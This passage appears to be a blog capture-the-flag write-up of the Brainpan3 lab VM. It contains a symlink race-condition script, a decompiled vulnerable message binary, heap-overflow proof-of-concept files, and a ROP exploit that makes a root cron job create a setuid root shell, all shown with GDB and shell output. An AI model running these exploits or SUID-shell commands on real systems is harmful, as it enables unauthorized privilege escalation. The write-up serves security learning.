Once we connect to the service on 7075 the checkKeyfile function is executed which opens 2 keyfiles and compares the content of them and if they match we are dropped into a shell. The symbolic link check and sleep(using select) made it kinda obvious to me Superkojiman was hinting on a race condition. We could repeatedly create a keyfile in the usb folder and then change it to a symbolic link pointing to the keyfile in puck’s folder while at the same time connecting to the service and hope that at some point we beat the time between the symbolic link check and opening the file.
This would trick the code in comparing 2 the same files, the valid key in pucks folder.

A race to win

I wrote a piece of python code that repeatedly creates a keyfile, changes it to a symlink and does little sleeps between each action. This script has to be run as reynard since he is the only one allowed to write to the usb folder. Any other user can connect to the service.

#!/usr/bin/env python
import os
import time

# run this netcat commandline this script runs(needs a second terminal)
# for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done

if os.geteuid() != 1002:
	print 'Run as user reynard'
else:
	for i in range(1000):
		# create dummy key
		os.system('echo "h4xh4xh4xh4xh4xh4x" > /mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete dummy key
		os.unlink('/mnt/usb/key.txt')
		# create symlink to puck key
		os.symlink('/home/puck/key.txt', '/mnt/usb/key.txt')
		# wait abit ...
		time.sleep(0.1)
		# delete symlink
		os.unlink('/mnt/usb/key.txt')

	print '[+] Finished'

In order for this to work we need 2 shells so I created another anansi shell using the report exploit. This anansi shell is used to connect to the service while the reynard shell executes the race script.

The race script.

$ python /tmp/race.py
python /tmp/race.py

Running the netcat loop in the 2nd terminal a few times until it succeeds..

anansi@brainpan3:/$ for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
for i in {0..100};do nc 127.0.0.1 7075;sleep 0.1; done
...
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Incorrect key
Key file is compromised.
Authentication successful
id
id
uid=1001(puck) gid=1004(dev) groups=1001(puck)

No root, No glory

While I was searching for files related to puck I already found a interesting cron job

ls -lah /etc/cron.d/
total 16K
drwxr-xr-x  2 root root 4.0K May 20 19:35 .
drwxr-xr-x 90 root root 4.0K Sep 11 18:05 ..
-rw-r--r--  1 root root  102 Feb  9  2013 .placeholder
-rw-r--r--  1 root root  100 May 19 18:25 msg_admin

$ cat /etc/cron.d/msg_admin
cat /etc/cron.d/msg_admin
* * * * * root cd /opt/.messenger; for i in *.msg; do /usr/local/bin/msg_admin 1 $i; rm -f $i; done

$ /usr/local/bin/msg_admin
Usage: /usr/local/bin/msg_admin priority message.txt
Message file format: requestername|message
Eg: tony|Add a new user to repo
Can have multiple messages in a single file separated by newlines.
Eg: tony|Please remove /tmp/foo
    cate|Reset password request

The cron job grabs all .msg files from the /opt/.messenger folder and passes them to the msg_admin executable and after that it deletes the files.
I Copied the executable to my local machine to analyze it.

struct struct_msg
{
  int Priority;
  char *Requestername;
  char *Msg;
};

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@2
  int v8; // edi@15
  int v11; // [sp-8h] [bp-88h]@1
  char *sLineBuf; // [sp+Ch] [bp-74h]@3 MAPDST
  int dNrOfLines; // [sp+10h] [bp-70h]@1 MAPDST
  int i; // [sp+14h] [bp-6Ch]@1
  __int32 priority; // [sp+18h] [bp-68h]@1
  char *dest; // [sp+24h] [bp-5Ch]@1
  FILE *fdMsgFile; // [sp+28h] [bp-58h]@3
  char *delim; // [sp+34h] [bp-4Ch]@10
  char *linepart; // [sp+38h] [bp-48h]@11
  struct_msg *aMessages[10]; // [sp+3Ch] [bp-44h]@7
  int canarie; // [sp+64h] [bp-1Ch]@1

  canarie = *MK_FP(__GS__, 20);
  priority = 0;
  dNrOfLines = 0;
  i = 0;
  dest = &v11;
  if ( argc > 2 )
  {
    priority = atol(argv[1]);
    fdMsgFile = fopen(argv[2], "r");
    sLineBuf = malloc(400u);
    /*
    Count the lines in the file
    LINEMAX_2 = 400
    */
    while ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 0 )
      ++dNrOfLines;
    
    printf("[+] Recording %d entries\n", dNrOfLines);
    rewind(fdMsgFile);
    
    /*
    Create dNrOfLines amount of struct_msg structures
    and add them to aMessage[10] list (no boundery checks done)
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      aMessages[i] = malloc(12u);
      aMessages[i]->Priority = priority;
      aMessages[i]->Requestername = malloc(10u);
      aMessages[i]->Msg = malloc(200u);
    }
    /*
    Parse each message line and assign its data to a struct_msg
    */
    for ( i = 0; i < dNrOfLines; ++i )
    {
      delim = "|";
      // read a line from the file
      if ( getline(&sLineBuf, &LINEMAX_2, fdMsgFile) > 1 )
      {
        // truncate current line
        sLineBuf[strlen(sLineBuf) - 1] = 0;
        /*
        Split the line on '|' into Requestername and Msg
        and copy it to a struct_msg (memory corruption)
        */
        linepart = strtok(sLineBuf, delim);
        strcpy(aMessages[i]->Requestername, linepart);
        linepart = strtok(0, delim);
        strcpy(aMessages[i]->Msg, linepart);
        /*
        Copy max 100 bytes from the current message to
        dest.. for no purpose, but very useful later 😉 
        */
        strncpy(dest, aMessages[i]->Msg, 100u);
      }
    }
    fclose(fdMsgFile);
    notify_admin(aMessages, dNrOfLines);
    result = 0;
  }
  else
  {
    usage(*argv);
    result = 1;
  }
  v8 = *MK_FP(__GS__, 20) ^ canarie;
  return result;
}

This is a classic memory corruption. For each message(line) in a .msg file it creates a struct_msg structure and allocates memory for it’s variable’s and then adds it to a list. Next it loops trough the file and splits every line on the ‘|’ delimiter and copies each part to the structure variables ‘Requestername’ and ‘Msg’. These variables have a fixed size of 10(Requestername) and 200(Msg). Since no lengths are being checked we could corrupt a structure pointer in memory.

The following code creates a .msg file with 2 messages and each its variables filled up to its max so it does not corrupt anything.

#!/usr/bin/env python
import sys
import struct

# message 1
payload =  10  * '\x41' # A
payload += '|'
payload += 200 * '\x42' # B
payload += '\n'
# message 2
payload += 10  * '\x43' # C
payload += '|'
payload += 200 * '\x44' # D
payload += '\n'

open('poc.msg','wb').write(payload)

When we analyze the memory using GBD we can see how all the memory is mapped

0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x00000000	0x00000011
0x804c478:	0x00000001	0x0804c488	0x0804c498	0x00000011
0x804c488:	0x43434343	0x43434343	0x00004343	0x000000d1
0x804c498:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4a8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4b8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4c8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4d8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4e8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c4f8:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c508:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c518:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c528:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c538:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c548:	0x44444444	0x44444444	0x44444444	0x44444444
0x804c558:	0x44444444	0x44444444	0x00000000	0x00020aa1

The first struct_msg structure is located at 0x804c388 and the second at 0x804c478. Now when we use a larger(216 bytes) ‘Msg’ buffer for the first message we would overwrite the ‘Requestername’ pointer of the second struct_msg structure and effectively control the destination pointer and source data in the next strcpy call resulting in a Write-Anything-Anywhere condition allowing us to patch a GOT entry.

This code patches the got.strtok address to 0x43434343, strtok is the next function executed after the strcpy.

#!/usr/bin/env python
import sys
import struct

# message 1
# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
payload = 10 * '\x41'
payload += '|'
payload += 200 * '\x42'
payload += 12 * '\x42'
# overwrite 2nd struct it's requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes 0x43434343
payload += '\n'
# message 2
payload += 4 * '\x43' # written to got.strtok
payload += '|'
payload += 200 * '\x44'
payload += '\n'

open('poc.msg','wb').write(payload)

Some GDB

gdb-peda$ x/150xw 0x804c388
0x804c388:	0x00000001	0x0804c398	0x0804c3a8	0x00000011
0x804c398:	0x41414141	0x41414141	0x00004141	0x000000d1
0x804c3a8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3b8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3c8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3d8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3e8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c3f8:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c408:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c418:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c428:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c438:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c448:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c458:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c468:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c478:	0x42424242	0x0804b05c	0x0804c400	0x00000011
0x804c488:	0x00000000	0x00000000	0x00000000	0x000000d1
0x804c498:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4d8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4e8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c4f8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c508:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c518:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c528:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c538:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c548:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c558:	0x00000000	0x00000000	0x00000000	0x00020aa1
...
Invalid $PC address: 0x43434343
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac --> 0x8048ce3 (:	mov    DWORD PTR [ebp-0x48],eax)
0004| 0xbffff2b0 --> 0x0 
0008| 0xbffff2b4 --> 0x8048f4d --> 0x100007c 
0012| 0xbffff2b8 --> 0x804c008 --> 0xfbad2488 
0016| 0xbffff2bc ('B' repeats 100 times "\234, \357\377\267 \360\377\267")
0020| 0xbffff2c0 ('B' repeats 96 times "\234, \357\377\267 \360\377\267")
0024| 0xbffff2c4 ('B' repeats 92 times "\234, \357\377\267 \360\377\267")
0028| 0xbffff2c8 ('B' repeats 88 times "\234, \357\377\267 \360\377\267")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x43434343 in ?? ()

Based on the GDB output we can see that if we would execute a pop(4) gadget we would return to ‘dest’ data of the first(previous) message which is stored on the stack by the ‘strncpy(dest, aMessages[i]->Msg, 100u);’.

Root All Thingz

I wrote a ROP payload which loads the address of atol from the got into eax and sums this value up till system by adding 0xE900 in 3 stages and then call’s eax(system) with the argument ‘/tmp/foo’, this is a script created by us and when executed it copies a root owned SUID shell to tmp.

#!/usr/bin/env python
import sys
import struct
import os

def p(v):
	return struct.pack('<L', v)

# .got.plt:0804B05C off_804B05C     dd offset strtok        ; DATA XREF: _strtok
__strtok_got	= 0x0804B05C
# .got.plt:0804B04C off_804B04C     dd offset atol          ; DATA XREF: _atol
__atol_got		= 0x0804B04C
# pop pop pop pop retn
__ppppr 		= 0x08048DDC
# .rodata:08048ED8 aEgTonyPleaseRe db 'Eg: tony|Please remove /tmp/foo',0
# '/tmp/foo' starts at 0x08048ED8 + 23
__foo_str 		= 0x08048ED8
# 0x080480C7	0x0000E800
__int16_e800h 	= 0x080480C7 
# 0x08048093	0x00000100
__int16_0100h 	= 0x08048093


# ROP
# eax = 0
# 0x08048790: mov eax 0x0804b074 ; sub eax 0x0804b074 ; ...
# eax += atol
# 0x08048e06: pop ebx <- __atol_got - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += e800h
# 0x08048e06: pop ebx <- __int16_e800h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax += 0100h
# 0x08048e06: pop ebx <- __int16_0100h - 0x01270304
# 0x08048feb: add eax [ebx + 0x01270304] ;
# eax -> system
# argv[1] -> __foo_str + 23 eq. '/tmp/foo'
# 0x08048786: call eax ; leave ;

rop  = p(0x08048790)
rop += p(0x08048E06)
rop += p((__atol_got - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_e800h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048E06)
rop += p((__int16_0100h - 0x01270304) & 0xFFFFFFFF)
rop += p(0x08048FEB)
rop += p(0x08048786)
rop += p(__foo_str + 23)

# message 1
payload = 10 * 'A'
payload += '|'
payload += rop.ljust(212, 'A') # padding till 212 eq next struct requestername pointer
payload += p(0x0804B05C) # strtok GOT, becomes __ppppr
payload += '\n'
# message 2
payload += p(__ppppr) # written to got.strtok
payload += '|'
payload += 200 * 'A'
payload += '\n'

# create the exploit message file
open('exploit.msg','wb').write(payload)
# create the foo file
foocode = "cp /bin/sh /tmp/r00tsh3ll;chown root:root /tmp/r00tsh3ll;chmod 4755 /tmp/r00tsh3ll"
open('/tmp/foo','wb').write(foocode)
os.system('chmod +x /tmp/foo')

Executed the exploit from the tmp folder and moved the created exploit.msg into the /opt/.messenger folder and waited a bit..

./rootsploit.py
ls -lah
total 20K
drwxrwxrwt  2 root root 4.0K Sep 13 01:05 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rw-r--r--  1 puck dev   434 Sep 13 01:05 exploit.msg
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
mv exploit.msg /opt/.messenger/
ls -lah
total 128K
drwxrwxrwt  2 root root 4.0K Sep 13 01:08 .
drwxr-xr-x 21 root root 4.0K Jun 17 22:05 ..
-rwxr-xr-x  1 puck dev    82 Sep 13 01:05 foo
-rwsr-xr-x  1 root root 110K Sep 13 01:08 r00tsh3ll
-rwxr-xr-x  1 puck dev  2.0K Sep 13 00:43 rootsploit.py
./r00tsh3ll
id
uid=1001(puck) gid=1004(dev) euid=0(root) groups=0(root)
whoami
root

Game over

This was another awesome boot2root VM, I enjoyed it allot. Thanks Superkojiman!

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s